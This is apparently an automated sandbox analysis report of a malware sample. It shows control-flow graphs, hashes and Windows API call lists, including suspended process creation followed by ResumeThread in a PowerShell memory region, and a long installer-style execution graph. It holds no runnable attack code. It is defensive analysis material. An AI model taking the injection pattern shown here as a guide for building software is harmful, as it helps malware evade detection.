                                                                            control_flow_graph 360 460950e-4609598 363 46095a3-46095ac 360->363 364 460959a-46095a0 360->364 365 4609619-460961d 363->365 366 46095ae-46095db 363->366 364->363 367 4609648-4609658 365->367 368 460961f-4609642 365->368 375 460960b 366->375 376 46095dd-46095df 366->376 369 4609677-460967b 367->369 370 460965a-4609676 367->370 368->367 373 460969c-46096aa 369->373 374 460967d-4609694 369->374 370->369 380 46096c9-46096cd 373->380 381 46096ac-46096c8 373->381 374->373 377 4609610-4609613 375->377 378 4609601-4609609 376->378 379 46095e1-46095eb 376->379 377->365 378->377 383 46095ed 379->383 384 46095ef-46095fd 379->384 385 46096ed-4609706 380->385 386 46096cf-46096e5 380->386 381->380 383->384 384->384 389 46095ff 384->389 387 4609714-460971d 385->387 388 4609708-4609711 385->388 386->385 390 4609738-460973c 387->390 391 460971f-4609736 387->391 388->387 389->378 392 4609757-460976b 390->392 393 460973e-460974f 390->393 391->390 394 4609770-46097c5 CreateProcessW 392->394 395 460976d 392->395 393->392 396 46097c7-46097cd 394->396 397 46097ce-46097eb 394->397 395->394 396->397 400 4609801-460982b 397->400 401 46097ed-46097f9 397->401 404 460983b-460983f 400->404 405 460982d-4609831 400->405 401->400 407 4609841-4609845 404->407 408 4609854-4609858 404->408 405->404 406 4609833-4609836 call 46004f8 405->406 406->404 407->408 410 4609847-460984a 407->410 411 460985a-460985e 408->411 412 460986d-4609871 408->412 410->408 411->412 415 4609860-4609863 411->415 413 4609873-4609877 412->413 414 4609886-460988a 412->414 413->414 416 4609879-460987c 413->416 417 460989b 414->417 418 460988c-4609898 414->418 415->412 416->414 420 460989c 417->420 418->417 420->420
                                                                            Memory Dump Source
                                                                            • Source File: 00000002.00000002.1683391920.0000000004600000.00000040.00000800.00020000.00000000.sdmp, Offset: 04600000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_2_2_4600000_powershell.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 2737057b40c42d9aeb120ace813605e2d01832aed962806e623e87fac8a102f1
                                                                            • Instruction ID: 4f58907d7f1a03ad5ddc701f9e28db071a6491d7d05356d7c7233b96ba93c7ec
                                                                            • Opcode Fuzzy Hash: 2737057b40c42d9aeb120ace813605e2d01832aed962806e623e87fac8a102f1
                                                                            • Instruction Fuzzy Hash: AFC11BB1E10219DFDB28CFA9C88479EBBF2BF48314F258529E405A7391E770A945CF91
                                                                            Function 04607E8C Relevance: 1.8, APIs: 1, Instructions: 284processCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 421 4607e8c-4609598 424 46095a3-46095ac 421->424 425 460959a-46095a0 421->425 426 4609619-460961d 424->426 427 46095ae-46095db 424->427 425->424 428 4609648-4609658 426->428 429 460961f-4609642 426->429 436 460960b 427->436 437 46095dd-46095df 427->437 430 4609677-460967b 428->430 431 460965a-4609676 428->431 429->428 434 460969c-46096aa 430->434 435 460967d-4609694 430->435 431->430 441 46096c9-46096cd 434->441 442 46096ac-46096c8 434->442 435->434 438 4609610-4609613 436->438 439 4609601-4609609 437->439 440 46095e1-46095eb 437->440 438->426 439->438 444 46095ed 440->444 445 46095ef-46095fd 440->445 446 46096ed-4609706 441->446 447 46096cf-46096e5 441->447 442->441 444->445 445->445 450 46095ff 445->450 448 4609714-460971d 446->448 449 4609708-4609711 446->449 447->446 451 4609738-460973c 448->451 452 460971f-4609736 448->452 449->448 450->439 453 4609757-460976b 451->453 454 460973e-460974f 451->454 452->451 455 4609770-46097c5 CreateProcessW 453->455 456 460976d 453->456 454->453 457 46097c7-46097cd 455->457 458 46097ce-46097eb 455->458 456->455 457->458 461 4609801-460982b 458->461 462 46097ed-46097f9 458->462 465 460983b-460983f 461->465 466 460982d-4609831 461->466 462->461 468 4609841-4609845 465->468 469 4609854-4609858 465->469 466->465 467 4609833-4609836 call 46004f8 466->467 467->465 468->469 471 4609847-460984a 468->471 472 460985a-460985e 469->472 473 460986d-4609871 469->473 471->469 472->473 476 4609860-4609863 472->476 474 4609873-4609877 473->474 475 4609886-460988a 473->475 474->475 477 4609879-460987c 474->477 478 460989b 475->478 479 460988c-4609898 475->479 476->473 477->475 481 460989c 478->481 479->478 481->481
                                                                            APIs
                                                                            • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,?,?,00000000,00000000,00000004), ref: 046097B5
                                                                            Memory Dump Source
                                                                            • Source File: 00000002.00000002.1683391920.0000000004600000.00000040.00000800.00020000.00000000.sdmp, Offset: 04600000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_2_2_4600000_powershell.jbxd
                                                                            Similarity
                                                                            • API ID: CreateProcess
                                                                            • String ID:
                                                                            • API String ID: 963392458-0
                                                                            • Opcode ID: ad956fb734c8e4da35e2b6820c9ec7837e3b185b0b9bd149b936670651194b13
                                                                            • Instruction ID: ea309c98f96da934a9ea51dd2e9704c8d49b7d1351f08cc3f28adae2e9d1cc28
                                                                            • Opcode Fuzzy Hash: ad956fb734c8e4da35e2b6820c9ec7837e3b185b0b9bd149b936670651194b13
                                                                            • Instruction Fuzzy Hash: 3CC11AB1E10219DFDB28CFA9C88479EBBF2BF48314F158529E405A7391E770A945CF91
                                                                            Function 04607E98 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 482 4607e98-4609954 ResumeThread 485 4609956-460995c 482->485 486 460995d-460997a 482->486 485->486
                                                                            APIs
                                                                            • ResumeThread.KERNELBASE(00000004), ref: 04609947
                                                                            Memory Dump Source
                                                                            • Source File: 00000002.00000002.1683391920.0000000004600000.00000040.00000800.00020000.00000000.sdmp, Offset: 04600000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_2_2_4600000_powershell.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: 721d4a0a3d20b9eb138c0f4cc977bf021feeaf6f3daecace724e8cd363d718bc
                                                                            • Instruction ID: 78a792606c7a1d1331bcfd0f8c9bf2e2e901f1c71d900ff93201fb6a669a65e8
                                                                            • Opcode Fuzzy Hash: 721d4a0a3d20b9eb138c0f4cc977bf021feeaf6f3daecace724e8cd363d718bc
                                                                            • Instruction Fuzzy Hash: 4D1140B19002488FDB20DF9AC548B9EBBF4EB88320F24842AD518A7350D774A844CFA4
                                                                            Function 046098E2 Relevance: 1.5, APIs: 1, Instructions: 47threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 489 46098e2-4609954 ResumeThread 491 4609956-460995c 489->491 492 460995d-460997a 489->492 491->492
                                                                            APIs
                                                                            • ResumeThread.KERNELBASE(00000004), ref: 04609947
                                                                            Memory Dump Source
                                                                            • Source File: 00000002.00000002.1683391920.0000000004600000.00000040.00000800.00020000.00000000.sdmp, Offset: 04600000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_2_2_4600000_powershell.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: 74bf4974c0c73992b930d0bbd74c72531c54e2154c3aef3b2b816cc23e8b2bd3
                                                                            • Instruction ID: 94b05781dba60218c056a99388afba00d4c99c214816814ef256fc8c3d8c36f5
                                                                            • Opcode Fuzzy Hash: 74bf4974c0c73992b930d0bbd74c72531c54e2154c3aef3b2b816cc23e8b2bd3
                                                                            • Instruction Fuzzy Hash: BD1152B19002488FCB20CF9AD588BDEBFF4AB88324F24846AD558A7350C774A844CFA5

                                                                            Execution Graph

                                                                            Execution Coverage:18.8%
                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                            Signature Coverage:16.1%
                                                                            Total number of Nodes:1525
                                                                            Total number of Limit Nodes:33
                                                                            execution_graph 4341 402fc0 4342 401446 18 API calls 4341->4342 4343 402fc7 4342->4343 4344 403017 4343->4344 4345 40300a 4343->4345 4348 401a13 4343->4348 4346 406805 18 API calls 4344->4346 4347 401446 18 API calls 4345->4347 4346->4348 4347->4348 4349 4023c1 4350 40145c 18 API calls 4349->4350 4351 4023c8 4350->4351 4354 40726a 4351->4354 4357 406ed2 CreateFileW 4354->4357 4358 406f04 4357->4358 4359 406f1e ReadFile 4357->4359 4360 4062a3 11 API calls 4358->4360 4361 4023d6 4359->4361 4364 406f84 4359->4364 4360->4361 4362 4071e3 CloseHandle 4362->4361 4363 406f9b ReadFile lstrcpynA lstrcmpA 4363->4364 4365 406fe2 SetFilePointer ReadFile 4363->4365 4364->4361 4364->4362 4364->4363 4368 406fdd 4364->4368 4365->4362 4366 4070a8 ReadFile 4365->4366 4367 407138 4366->4367 4367->4366 4367->4368 4369 40715f SetFilePointer GlobalAlloc ReadFile 4367->4369 4368->4362 4370 4071a3 4369->4370 4371 4071bf lstrcpynW GlobalFree 4369->4371 4370->4370 4370->4371 4371->4362 4372 401cc3 4373 40145c 18 API calls 4372->4373 4374 401cca lstrlenW 4373->4374 4375 4030dc 4374->4375 4376 4030e3 4375->4376 4378 405f51 wsprintfW 4375->4378 4378->4376 4393 401c46 4394 40145c 18 API calls 4393->4394 4395 401c4c 4394->4395 4396 4062a3 11 API calls 4395->4396 4397 401c59 4396->4397 4398 406c9b 81 API calls 4397->4398 4399 401c64 4398->4399 4400 403049 4401 401446 18 API calls 4400->4401 4404 403050 4401->4404 4402 406805 18 API calls 4403 401a13 4402->4403 4404->4402 4404->4403 4405 40204a 4406 401446 18 API calls 4405->4406 4407 402051 IsWindow 4406->4407 4408 4018d3 4407->4408 4409 40324c 4410 403277 4409->4410 4411 40325e SetTimer 4409->4411 4412 4032cc 4410->4412 4413 403291 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4410->4413 4411->4410 4413->4412 4414 4048cc 4415 4048f1 4414->4415 4416 4048da 4414->4416 4418 4048ff IsWindowVisible 4415->4418 4422 404916 4415->4422 4417 4048e0 4416->4417 4432 40495a 4416->4432 4419 403daf SendMessageW 4417->4419 4421 40490c 4418->4421 4418->4432 4423 4048ea 4419->4423 4420 404960 CallWindowProcW 4420->4423 4433 40484e SendMessageW 4421->4433 4422->4420 4438 406009 lstrcpynW 4422->4438 4426 404945 4439 405f51 wsprintfW 4426->4439 4428 40494c 4429 40141d 80 API calls 4428->4429 4430 404953 4429->4430 4440 406009 lstrcpynW 4430->4440 4432->4420 4434 404871 GetMessagePos ScreenToClient SendMessageW 4433->4434 4435 4048ab SendMessageW 4433->4435 4436 4048a3 4434->4436 4437 4048a8 4434->4437 4435->4436 4436->4422 4437->4435 4438->4426 4439->4428 4440->4432 4441 4022cc 4442 40145c 18 API calls 4441->4442 4443 4022d3 4442->4443 4444 4062d5 2 API calls 4443->4444 4445 4022d9 4444->4445 4446 4022e8 4445->4446 4450 405f51 wsprintfW 4445->4450 4449 4030e3 4446->4449 4451 405f51 wsprintfW 4446->4451 4450->4446 4451->4449 4221 4050cd 4222 405295 4221->4222 4223 4050ee GetDlgItem GetDlgItem GetDlgItem 4221->4223 4224 4052c6 4222->4224 4225 40529e GetDlgItem CreateThread CloseHandle 4222->4225 4270 403d98 SendMessageW 4223->4270 4227 4052f4 4224->4227 4229 4052e0 ShowWindow ShowWindow 4224->4229 4230 405316 4224->4230 4225->4224 4273 405047 83 API calls 4225->4273 4231 405352 4227->4231 4233 405305 4227->4233 4234 40532b ShowWindow 4227->4234 4228 405162 4241 406805 18 API calls 4228->4241 4272 403d98 SendMessageW 4229->4272 4235 403dca 8 API calls 4230->4235 4231->4230 4236 40535d SendMessageW 4231->4236 4237 403d18 SendMessageW 4233->4237 4239 40534b 4234->4239 4240 40533d 4234->4240 4238 40528e 4235->4238 4236->4238 4243 405376 CreatePopupMenu 4236->4243 4237->4230 4242 403d18 SendMessageW 4239->4242 4244 404f72 25 API calls 4240->4244 4245 405181 4241->4245 4242->4231 4246 406805 18 API calls 4243->4246 4244->4239 4247 4062a3 11 API calls 4245->4247 4249 405386 AppendMenuW 4246->4249 4248 40518c GetClientRect GetSystemMetrics SendMessageW SendMessageW 4247->4248 4250 4051f3 4248->4250 4251 4051d7 SendMessageW SendMessageW 4248->4251 4252 405399 GetWindowRect 4249->4252 4253 4053ac 4249->4253 4254 405206 4250->4254 4255 4051f8 SendMessageW 4250->4255 4251->4250 4256 4053b3 TrackPopupMenu 4252->4256 4253->4256 4257 403d3f 19 API calls 4254->4257 4255->4254 4256->4238 4258 4053d1 4256->4258 4259 405216 4257->4259 4260 4053ed SendMessageW 4258->4260 4261 405253 GetDlgItem SendMessageW 4259->4261 4262 40521f ShowWindow 4259->4262 4260->4260 4263 40540a OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4260->4263 4261->4238 4266 405276 SendMessageW SendMessageW 4261->4266 4264 405242 4262->4264 4265 405235 ShowWindow 4262->4265 4267 40542f SendMessageW 4263->4267 4271 403d98 SendMessageW 4264->4271 4265->4264 4266->4238 4267->4267 4268 40545a GlobalUnlock SetClipboardData CloseClipboard 4267->4268 4268->4238 4270->4228 4271->4261 4272->4227 4452 4030cf 4453 40145c 18 API calls 4452->4453 4454 4030d6 4453->4454 4456 4030dc 4454->4456 4459 4063ac GlobalAlloc lstrlenW 4454->4459 4457 4030e3 4456->4457 4486 405f51 wsprintfW 4456->4486 4460 4063e2 4459->4460 4461 406434 4459->4461 4462 40640f GetVersionExW 4460->4462 4487 40602b CharUpperW 4460->4487 4461->4456 4462->4461 4463 40643e 4462->4463 4464 406464 LoadLibraryA 4463->4464 4465 40644d 4463->4465 4464->4461 4468 406482 GetProcAddress GetProcAddress GetProcAddress 4464->4468 4465->4461 4467 406585 GlobalFree 4465->4467 4469 40659b LoadLibraryA 4467->4469 4470 4066dd FreeLibrary 4467->4470 4473 4064aa 4468->4473 4476 4065f5 4468->4476 4469->4461 4472 4065b5 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 4469->4472 4470->4461 4471 406651 FreeLibrary 4480 40662a 4471->4480 4472->4476 4474 4064ce FreeLibrary GlobalFree 4473->4474 4473->4476 4482 4064ea 4473->4482 4474->4461 4475 4066ea 4478 4066ef CloseHandle FreeLibrary 4475->4478 4476->4471 4476->4480 4477 4064fc lstrcpyW OpenProcess 4479 40654f CloseHandle CharUpperW lstrcmpW 4477->4479 4477->4482 4481 406704 CloseHandle 4478->4481 4479->4476 4479->4482 4480->4475 4483 406685 lstrcmpW 4480->4483 4484 4066b6 CloseHandle 4480->4484 4485 4066d4 CloseHandle 4480->4485 4481->4478 4482->4467 4482->4477 4482->4479 4483->4480 4483->4481 4484->4480 4485->4470 4486->4457 4487->4460 4488 407752 4492 407344 4488->4492 4489 407c6d 4490 4073c2 GlobalFree 4491 4073cb GlobalAlloc 4490->4491 4491->4489 4491->4492 4492->4489 4492->4490 4492->4491 4492->4492 4493 407443 GlobalAlloc 4492->4493 4494 40743a GlobalFree 4492->4494 4493->4489 4493->4492 4494->4493 4495 401dd3 4496 401446 18 API calls 4495->4496 4497 401dda 4496->4497 4498 401446 18 API calls 4497->4498 4499 4018d3 4498->4499 4507 402e55 4508 40145c 18 API calls 4507->4508 4509 402e63 4508->4509 4510 402e79 4509->4510 4511 40145c 18 API calls 4509->4511 4512 405e30 2 API calls 4510->4512 4511->4510 4513 402e7f 4512->4513 4537 405e50 GetFileAttributesW CreateFileW 4513->4537 4515 402e8c 4516 402f35 4515->4516 4517 402e98 GlobalAlloc 4515->4517 4520 4062a3 11 API calls 4516->4520 4518 402eb1 4517->4518 4519 402f2c CloseHandle 4517->4519 4538 403368 SetFilePointer 4518->4538 4519->4516 4522 402f45 4520->4522 4524 402f50 DeleteFileW 4522->4524 4525 402f63 4522->4525 4523 402eb7 4527 403336 ReadFile 4523->4527 4524->4525 4539 401435 4525->4539 4528 402ec0 GlobalAlloc 4527->4528 4529 402ed0 4528->4529 4530 402f04 WriteFile GlobalFree 4528->4530 4531 40337f 37 API calls 4529->4531 4532 40337f 37 API calls 4530->4532 4536 402edd 4531->4536 4533 402f29 4532->4533 4533->4519 4535 402efb GlobalFree 4535->4530 4536->4535 4537->4515 4538->4523 4540 404f72 25 API calls 4539->4540 4541 401443 4540->4541 4542 401cd5 4543 401446 18 API calls 4542->4543 4544 401cdd 4543->4544 4545 401446 18 API calls 4544->4545 4546 401ce8 4545->4546 4547 40145c 18 API calls 4546->4547 4548 401cf1 4547->4548 4549 401d07 lstrlenW 4548->4549 4550 401d43 4548->4550 4551 401d11 4549->4551 4551->4550 4555 406009 lstrcpynW 4551->4555 4553 401d2c 4553->4550 4554 401d39 lstrlenW 4553->4554 4554->4550 4555->4553 4556 403cd6 4557 403ce1 4556->4557 4558 403ce5 4557->4558 4559 403ce8 GlobalAlloc 4557->4559 4559->4558 4560 402cd7 4561 401446 18 API calls 4560->4561 4564 402c64 4561->4564 4562 402d99 4563 402d17 ReadFile 4563->4564 4564->4560 4564->4562 4564->4563 4565 402dd8 4566 402ddf 4565->4566 4567 4030e3 4565->4567 4568 402de5 FindClose 4566->4568 4568->4567 4569 401d5c 4570 40145c 18 API calls 4569->4570 4571 401d63 4570->4571 4572 40145c 18 API calls 4571->4572 4573 401d6c 4572->4573 4574 401d73 lstrcmpiW 4573->4574 4575 401d86 lstrcmpW 4573->4575 4576 401d79 4574->4576 4575->4576 4577 401c99 4575->4577 4576->4575 4576->4577 4279 407c5f 4280 407344 4279->4280 4281 4073c2 GlobalFree 4280->4281 4282 4073cb GlobalAlloc 4280->4282 4283 407c6d 4280->4283 4284 407443 GlobalAlloc 4280->4284 4285 40743a GlobalFree 4280->4285 4281->4282 4282->4280 4282->4283 4284->4280 4284->4283 4285->4284 4578 404363 4579 404373 4578->4579 4580 40439c 4578->4580 4582 403d3f 19 API calls 4579->4582 4581 403dca 8 API calls 4580->4581 4583 4043a8 4581->4583 4584 404380 SetDlgItemTextW 4582->4584 4584->4580 4585 4027e3 4586 4027e9 4585->4586 4587 4027f2 4586->4587 4588 402836 4586->4588 4601 401553 4587->4601 4589 40145c 18 API calls 4588->4589 4591 40283d 4589->4591 4593 4062a3 11 API calls 4591->4593 4592 4027f9 4594 40145c 18 API calls 4592->4594 4599 401a13 4592->4599 4595 40284d 4593->4595 4596 40280a RegDeleteValueW 4594->4596 4605 40149d RegOpenKeyExW 4595->4605 4597 4062a3 11 API calls 4596->4597 4600 40282a RegCloseKey 4597->4600 4600->4599 4602 401563 4601->4602 4603 40145c 18 API calls 4602->4603 4604 401589 RegOpenKeyExW 4603->4604 4604->4592 4611 401515 4605->4611 4613 4014c9 4605->4613 4606 4014ef RegEnumKeyW 4607 401501 RegCloseKey 4606->4607 4606->4613 4608 4062fc 3 API calls 4607->4608 4610 401511 4608->4610 4609 401526 RegCloseKey 4609->4611 4610->4611 4614 401541 RegDeleteKeyW 4610->4614 4611->4599 4612 40149d 3 API calls 4612->4613 4613->4606 4613->4607 4613->4609 4613->4612 4614->4611 4615 403f64 4616 403f90 4615->4616 4617 403f74 4615->4617 4619 403fc3 4616->4619 4620 403f96 SHGetPathFromIDListW 4616->4620 4626 405c84 GetDlgItemTextW 4617->4626 4622 403fad SendMessageW 4620->4622 4623 403fa6 4620->4623 4621 403f81 SendMessageW 4621->4616 4622->4619 4624 40141d 80 API calls 4623->4624 4624->4622 4626->4621 4627 402ae4 4628 402aeb 4627->4628 4629 4030e3 4627->4629 4630 402af2 CloseHandle 4628->4630 4630->4629 4631 402065 4632 401446 18 API calls 4631->4632 4633 40206d 4632->4633 4634 401446 18 API calls 4633->4634 4635 402076 GetDlgItem 4634->4635 4636 4030dc 4635->4636 4637 4030e3 4636->4637 4639 405f51 wsprintfW 4636->4639 4639->4637 4640 402665 4641 40145c 18 API calls 4640->4641 4642 40266b 4641->4642 4643 40145c 18 API calls 4642->4643 4644 402674 4643->4644 4645 40145c 18 API calls 4644->4645 4646 40267d 4645->4646 4647 4062a3 11 API calls 4646->4647 4648 40268c 4647->4648 4649 4062d5 2 API calls 4648->4649 4650 402695 4649->4650 4651 4026a6 lstrlenW lstrlenW 4650->4651 4652 404f72 25 API calls 4650->4652 4655 4030e3 4650->4655 4653 404f72 25 API calls 4651->4653 4652->4650 4654 4026e8 SHFileOperationW 4653->4654 4654->4650 4654->4655 4663 401c69 4664 40145c 18 API calls 4663->4664 4665 401c70 4664->4665 4666 4062a3 11 API calls 4665->4666 4667 401c80 4666->4667 4668 405ca0 MessageBoxIndirectW 4667->4668 4669 401a13 4668->4669 4677 402f6e 4678 402f72 4677->4678 4679 402fae 4677->4679 4680 4062a3 11 API calls 4678->4680 4681 40145c 18 API calls 4679->4681 4682 402f7d 4680->4682 4687 402f9d 4681->4687 4683 4062a3 11 API calls 4682->4683 4684 402f90 4683->4684 4685 402fa2 4684->4685 4686 402f98 4684->4686 4689 4060e7 9 API calls 4685->4689 4688 403e74 5 API calls 4686->4688 4688->4687 4689->4687 4690 4023f0 4691 402403 4690->4691 4692 4024da 4690->4692 4693 40145c 18 API calls 4691->4693 4694 404f72 25 API calls 4692->4694 4695 40240a 4693->4695 4700 4024f1 4694->4700 4696 40145c 18 API calls 4695->4696 4697 402413 4696->4697 4698 402429 LoadLibraryExW 4697->4698 4699 40241b GetModuleHandleW 4697->4699 4701 40243e 4698->4701 4702 4024ce 4698->4702 4699->4698 4699->4701 4714 406365 GlobalAlloc WideCharToMultiByte 4701->4714 4703 404f72 25 API calls 4702->4703 4703->4692 4705 402449 4706 40248c 4705->4706 4707 40244f 4705->4707 4708 404f72 25 API calls 4706->4708 4710 401435 25 API calls 4707->4710 4712 40245f 4707->4712 4709 402496 4708->4709 4711 4062a3 11 API calls 4709->4711 4710->4712 4711->4712 4712->4700 4713 4024c0 FreeLibrary 4712->4713 4713->4700 4715 406390 GetProcAddress 4714->4715 4716 40639d GlobalFree 4714->4716 4715->4716 4716->4705 4717 402df3 4718 402dfa 4717->4718 4720 4019ec 4717->4720 4719 402e07 FindNextFileW 4718->4719 4719->4720 4721 402e16 4719->4721 4723 406009 lstrcpynW 4721->4723 4723->4720 4076 402175 4077 401446 18 API calls 4076->4077 4078 40217c 4077->4078 4079 401446 18 API calls 4078->4079 4080 402186 4079->4080 4081 4062a3 11 API calls 4080->4081 4085 402197 4080->4085 4081->4085 4082 4021aa EnableWindow 4084 4030e3 4082->4084 4083 40219f ShowWindow 4083->4084 4085->4082 4085->4083 4731 404077 4732 404081 4731->4732 4733 404084 lstrcpynW lstrlenW 4731->4733 4732->4733 4102 405479 4103 405491 4102->4103 4104 4055cd 4102->4104 4103->4104 4105 40549d 4103->4105 4106 40561e 4104->4106 4107 4055de GetDlgItem GetDlgItem 4104->4107 4108 4054a8 SetWindowPos 4105->4108 4109 4054bb 4105->4109 4111 405678 4106->4111 4119 40139d 80 API calls 4106->4119 4172 403d3f 4107->4172 4108->4109 4113 4054c0 ShowWindow 4109->4113 4114 4054d8 4109->4114 4112 403daf SendMessageW 4111->4112 4132 4055c8 4111->4132 4142 40568a 4112->4142 4113->4114 4116 4054e0 DestroyWindow 4114->4116 4117 4054fa 4114->4117 4115 405608 KiUserCallbackDispatcher 4118 40141d 80 API calls 4115->4118 4171 4058dc 4116->4171 4120 405510 4117->4120 4121 4054ff SetWindowLongW 4117->4121 4118->4106 4122 405650 4119->4122 4125 4055b9 4120->4125 4126 40551c GetDlgItem 4120->4126 4121->4132 4122->4111 4127 405654 SendMessageW 4122->4127 4123 40141d 80 API calls 4123->4142 4124 4058de DestroyWindow KiUserCallbackDispatcher 4124->4171 4181 403dca 4125->4181 4130 40554c 4126->4130 4131 40552f SendMessageW IsWindowEnabled 4126->4131 4127->4132 4129 40590d ShowWindow 4129->4132 4134 405559 4130->4134 4135 4055a0 SendMessageW 4130->4135 4136 40556c 4130->4136 4145 405551 4130->4145 4131->4130 4131->4132 4133 406805 18 API calls 4133->4142 4134->4135 4134->4145 4135->4125 4139 405574 4136->4139 4140 405589 4136->4140 4138 403d3f 19 API calls 4138->4142 4143 40141d 80 API calls 4139->4143 4144 40141d 80 API calls 4140->4144 4141 405587 4141->4125 4142->4123 4142->4124 4142->4132 4142->4133 4142->4138 4147 403d3f 19 API calls 4142->4147 4162 40581e DestroyWindow 4142->4162 4143->4145 4146 405590 4144->4146 4178 403d18 4145->4178 4146->4125 4146->4145 4148 405705 GetDlgItem 4147->4148 4149 405723 ShowWindow KiUserCallbackDispatcher 4148->4149 4150 40571a 4148->4150 4175 403d85 KiUserCallbackDispatcher 4149->4175 4150->4149 4152 40574d EnableWindow 4155 405761 4152->4155 4153 405766 GetSystemMenu EnableMenuItem SendMessageW 4154 405796 SendMessageW 4153->4154 4153->4155 4154->4155 4155->4153 4176 403d98 SendMessageW 4155->4176 4177 406009 lstrcpynW 4155->4177 4158 4057c4 lstrlenW 4159 406805 18 API calls 4158->4159 4160 4057da SetWindowTextW 4159->4160 4161 40139d 80 API calls 4160->4161 4161->4142 4163 405838 CreateDialogParamW 4162->4163 4162->4171 4164 40586b 4163->4164 4163->4171 4165 403d3f 19 API calls 4164->4165 4166 405876 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4165->4166 4167 40139d 80 API calls 4166->4167 4168 4058bc 4167->4168 4168->4132 4169 4058c4 ShowWindow 4168->4169 4170 403daf SendMessageW 4169->4170 4170->4171 4171->4129 4171->4132 4173 406805 18 API calls 4172->4173 4174 403d4a SetDlgItemTextW 4173->4174 4174->4115 4175->4152 4176->4155 4177->4158 4179 403d25 SendMessageW 4178->4179 4180 403d1f 4178->4180 4179->4141 4180->4179 4182 403ddf GetWindowLongW 4181->4182 4192 403e68 4181->4192 4183 403df0 4182->4183 4182->4192 4184 403e02 4183->4184 4185 403dff GetSysColor 4183->4185 4186 403e12 SetBkMode 4184->4186 4187 403e08 SetTextColor 4184->4187 4185->4184 4188 403e30 4186->4188 4189 403e2a GetSysColor 4186->4189 4187->4186 4190 403e41 4188->4190 4191 403e37 SetBkColor 4188->4191 4189->4188 4190->4192 4193 403e54 DeleteObject 4190->4193 4194 403e5b CreateBrushIndirect 4190->4194 4191->4190 4192->4132 4193->4194 4194->4192 4734 4020f9 GetDC GetDeviceCaps 4735 401446 18 API calls 4734->4735 4736 402116 MulDiv 4735->4736 4737 401446 18 API calls 4736->4737 4738 40212c 4737->4738 4739 406805 18 API calls 4738->4739 4740 402165 CreateFontIndirectW 4739->4740 4741 4030dc 4740->4741 4742 4030e3 4741->4742 4744 405f51 wsprintfW 4741->4744 4744->4742 4745 4024fb 4746 40145c 18 API calls 4745->4746 4747 402502 4746->4747 4748 40145c 18 API calls 4747->4748 4749 40250c 4748->4749 4750 40145c 18 API calls 4749->4750 4751 402515 4750->4751 4752 40145c 18 API calls 4751->4752 4753 40251f 4752->4753 4754 40145c 18 API calls 4753->4754 4755 402529 4754->4755 4756 40253d 4755->4756 4757 40145c 18 API calls 4755->4757 4758 4062a3 11 API calls 4756->4758 4757->4756 4759 40256a CoCreateInstance 4758->4759 4760 40258c 4759->4760 4761 40497c GetDlgItem GetDlgItem 4762 4049d2 7 API calls 4761->4762 4767 404bea 4761->4767 4763 404a76 DeleteObject 4762->4763 4764 404a6a SendMessageW 4762->4764 4765 404a81 4763->4765 4764->4763 4768 404ab8 4765->4768 4770 406805 18 API calls 4765->4770 4766 404ccf 4769 404d74 4766->4769 4774 404bdd 4766->4774 4779 404d1e SendMessageW 4766->4779 4767->4766 4777 40484e 5 API calls 4767->4777 4790 404c5a 4767->4790 4773 403d3f 19 API calls 4768->4773 4771 404d89 4769->4771 4772 404d7d SendMessageW 4769->4772 4776 404a9a SendMessageW SendMessageW 4770->4776 4781 404da2 4771->4781 4782 404d9b ImageList_Destroy 4771->4782 4792 404db2 4771->4792 4772->4771 4778 404acc 4773->4778 4780 403dca 8 API calls 4774->4780 4775 404cc1 SendMessageW 4775->4766 4776->4765 4777->4790 4783 403d3f 19 API calls 4778->4783 4779->4774 4785 404d33 SendMessageW 4779->4785 4786 404f6b 4780->4786 4787 404dab GlobalFree 4781->4787 4781->4792 4782->4781 4788 404add 4783->4788 4784 404f1c 4784->4774 4793 404f31 ShowWindow GetDlgItem ShowWindow 4784->4793 4789 404d46 4785->4789 4787->4792 4791 404baa GetWindowLongW SetWindowLongW 4788->4791 4800 404ba4 4788->4800 4803 404b39 SendMessageW 4788->4803 4804 404b67 SendMessageW 4788->4804 4805 404b7b SendMessageW 4788->4805 4799 404d57 SendMessageW 4789->4799 4790->4766 4790->4775 4794 404bc4 4791->4794 4792->4784 4795 404de4 4792->4795 4798 40141d 80 API calls 4792->4798 4793->4774 4796 404be2 4794->4796 4797 404bca ShowWindow 4794->4797 4808 404e12 SendMessageW 4795->4808 4811 404e28 4795->4811 4813 403d98 SendMessageW 4796->4813 4812 403d98 SendMessageW 4797->4812 4798->4795 4799->4769 4800->4791 4800->4794 4803->4788 4804->4788 4805->4788 4806 404ef3 InvalidateRect 4806->4784 4807 404f09 4806->4807 4814 4043ad 4807->4814 4808->4811 4810 404ea1 SendMessageW SendMessageW 4810->4811 4811->4806 4811->4810 4812->4774 4813->4767 4815 4043cd 4814->4815 4816 406805 18 API calls 4815->4816 4817 40440d 4816->4817 4818 406805 18 API calls 4817->4818 4819 404418 4818->4819 4820 406805 18 API calls 4819->4820 4821 404428 lstrlenW wsprintfW SetDlgItemTextW 4820->4821 4821->4784 4822 4026fc 4823 401ee4 4822->4823 4825 402708 4822->4825 4823->4822 4824 406805 18 API calls 4823->4824 4824->4823 4274 